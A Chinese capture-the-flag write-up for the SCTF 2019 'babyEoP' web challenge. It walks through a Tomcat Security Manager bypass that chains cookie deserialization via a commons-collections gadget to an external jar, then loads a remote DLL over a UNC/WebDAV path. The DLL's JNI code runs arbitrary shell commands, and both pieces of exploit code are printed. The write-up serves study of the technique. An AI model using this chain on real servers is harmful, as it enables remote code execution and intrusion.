babyEoP

发表于 2021-01-04 分类于 [Challenge](#) , [2019](#) , [SCTF](#) , [Web Challenge](#) | [2019](#) | [SCTF](#) | [Web](#) | [babyEoP](#)

[点击此处](#) 获得更好的阅读体验

解题思路

题目给了一个webshell，弱密码直接进去。

Tomcat启用了Security Manager，webshell基本所有功能无法正常使用，但是可以查看有限的几个目录文件，无写权限。如果顺利，应该可以收集到以下信息：

1. cookie处存在反序列化的点，有反序列化漏洞。
2. 查看lib目录，存在commons-collections 3.1 gadget
3. 找到 catalina.policy 文件，是Tomcat默认的安全策略配置文件，这应该是本题可能有点脑洞的地方，因为没有给C:/babyEoP/apache-tomcat-8.5.42的读权限，所以无法列目录，但是 conf 目录是可读的。（有将近10位选手读到了这个文件hhh。）

我在官方提供的 catalina.policy 的基础上，做了一些修改。给了 LoadLibrary、createClassLoader、accessDeclaredMembers 几个重要权限。分析 policy，应该很容易可以想到，要通过 JNI 绕过 Security Manager。但是 JNI 需要加载一个 dll 动态链接库，由于并没有给任何写权限，所以是不可能上传 dll 的。并且，webshell 的 Eval Code 使用时，需要向当前目录写一个 tmp.jsp 文件，所以也是不能用的（不要想着用这个执行代码）。那么该如何才能执行代码来加载一个不在本地的dll呢？下面是具体的解题思路：题目已经给了反序列化的点以及gadget，可以通过这个来执行代码。

ysoserial 的 commons-collections 利用链提供了几个直接执行命令的 gadget，但是都是基于 Runtime.exec 的，并没有给这个权限。So 想要直接利用是不行的。

但是直接用 gadget 构造出加载dll可能比较困难，所以这里可以利用稍微高级一点的方法——加载外部的jar来执行代码。构造见<https://github.com/Jayl1n/ysoserial/blob/master/src/main/ysoserial/payloads/CommonsCollections8>下面要加载 dll，用 JNI 绕 JSM。同样因为没有写权限，且 dll 无法一起打包到 jar 里，所以要从网络上加载 dll。这里利用 System.load 的一个特性——可以使用 UNC 路径，加载远程的 dll。为什么可以使用 UNC 呢？来看下 System.load 的调用过程。System.load

□

调用了 Runtime.getRuntime().load0(Runtime.getRuntime()).load0

□

在这里会判断 filename 是否是一个绝对路径，如果不是就直接抛出异常，是就进一步加载。File.isAbsolute

□

再看看 File 是如何判断是否是绝对路径的。根据描述，linux 下要求以 / 开头。windows 下，要求以盘符或者 \\ 开头。emm 综上，所以这里可以使用 UNC 路径。下面是另一个坑，UNC 默认是走 445 端口的，如果没有特殊情况，公网上都是屏蔽了这个端口的。这里利用 windows 一个特性，在开启了 webclient 服务的情况下，UNC 访问 445 失败时，会尝试访问目标服务器 80 端口的 webdav 去加载资源(~/)，这一点 hint 已经提示过了。EXP 类 R

```
1 public class R { static { System.load("\\xxx.xxx.xxx.xxx\JNI.dll"); }
2 public static native void exec(String cmd);
3 public R(String cmd) {
4     exec(cmd);
5 }
```

执行命令

```
1 c R. jar cvf R.jar R.class
```

将打包的 R.jar 放到服务器上的 web 服务下。

DLL R.h

```
1 #ifdef __cplusplus
2 extern "C" {
3 #endif
4     JNIEXPORT void JNICALL Java_R_exec
5         (JNIEnv *, jclass, jstring);
6 #ifdef __cplusplus
7 }
8 #endif
9 #endif
```

R.cpp

```
1 #include "R.h"
2 #include<stdlib.h>
3 JNIEXPORT void JNICALL Java_R_exec(JNIEnv *env, jclass clazz, jstring str) {
4     char* cmd= (char*)env->GetStringUTFChars(str,JNI_FALSE);
5     system(cmd);
6     env->ReleaseStringUTFChars(str,cmd);
7 }
```

编译成 dll，放到服务器的 webdav 服务下。

用[这里的例子](#) 构造序列化 payload，贴到 cookie 里打一发，完事儿~

- 本文作者：CTFHub
- 本文链接：<https://writeup.ctfhub.com/Challenge/2019/SCTF/Web/ckT3hvYnqdpCGcCt9QMgqr.html>
- 版权声明：本博客所有文章除特别声明外，均采用 [BY-NC-SA](#) 许可协议。转载请注明出处！

[# Challenge # Web # 2019 # SCTF](#)

[Who is he](#)
[easyweb](#)